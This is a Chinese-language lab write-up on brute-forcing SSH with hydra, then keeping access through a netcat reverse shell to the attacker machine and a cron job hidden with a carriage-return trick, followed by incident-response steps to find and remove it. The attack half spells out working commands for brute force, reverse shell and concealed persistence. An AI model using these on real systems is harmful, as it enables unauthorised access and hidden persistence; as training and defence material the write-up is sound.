记录一下ssh爆破

首先准备两台机器，一台作为攻击机，一台作为靶机

攻击机：192.168.48.138

靶机：192.168.48.135

1.信息收集

使用nmap扫描目标主机的端口

nmap 192.168.48.135

发现开启了22号端口，尝试进行爆破

2.爆破ssh

使用hydra（九头蛇）进行爆破，也可以用msf、美杜莎进行爆破,详细hydra内容请看

hydra -L users.txt -P password.txt ssh://192.168.48.135

3.登录ssh 

ssh root@192.168.48.135

4.尝试创建隐藏计划任务

进入 /tmp 目录，vim创建xx.sh文件------>>>task.sh

文件内容写

#! /bin/bash

nc 192.168.48.138 8888 -e /bin/bash                                   ----nc反弹shell

接着查看权限：ls -l task.sh

增加可执行权限：chmod +x task.sh         或者chmod 777 task.sh

 接着vim创建一个隐藏文件create_task.sh,文件内容

(crontab -l;printf "* * * * * /tmp/task.sh;\rno crontw-wab for `whoami` %100c\n") |crontab-

解释：查看计划任务，输出***，每隔一分钟执行task.sh文件，\r换行符，创建计划任务

同样在此加上执行权限：chmod +x create_task.sh

最后开启此文件:   ./create_task.sh

注意：由于我们创建的是隐藏的计划任务，所以在执行此文件时，会返回提示信息

5.尝试nc连接目标主机的shell

接着在攻击机上开启一个终端，利用nc反弹shell进行连接

开启监听：nc -lvp 8888 

创建计划任务目的：权限维持，更好方便我们连接 

应急响应过程

1.事件排查,查看网络情况

netstat -antpl

2.查看守护进程，发现计划任务

pstree -p         //查看进程树

systemctl status 193250(pid)     //查看具体进程

3.查看计划任务

crontab -l                 //普通命令未发现有计划任务，可能是计划隐藏任务

cat -A /var/spool/cron/crontabs/root                   //查看计划任务

4.找到task.sh文件

ls -l /tmp/task.sh          //查看上传的文件的时间

cat /tmp/task.sh           //查看上传文件的内容，发现是通过nc反弹shell

溯源分析

1.分析任务文件task.sh

ls -l /tmp/task.sh          //查看上传的文件的时间

2.查看登录日志

last -f /var/log/wtmp               //登录成功的日志

last -f /var/log/btmp              //登录失败的日志

3.总结 

爆破时间、爆破账号、攻击者ip

事件处置

1.删除计划任务，结束异常进程

crontab -r -u root                                            //删除隐藏计划任务

 cat -A /var/spool/cron/crontabs/root              //检查计划任务是否删除成功

kill 193250                                                     //杀死恶意进程

2.删除恶意文件

rm task.sh

rm create_task.sh 

3.修改密码，关闭root用户远程连接权限 

 passwd root              //修改root密码

 vim /etc/ssh/sshd_config         //关闭root用户远程连接权限,修改PermitRootLogin为no，增强权限控制

4.修改ssh默认端口

vim /etc/ssh/sshd_config         //将22端口修改成其他端口，并将#删掉

总体来说，应急响应的过程都是类似的，知识上面的细节不一样，大家根据靶场去学习不同的知识，对大家是很有帮助的[护网训练]应急响应靶机整理 (qq.com) 以上给大家提供应急响应靶场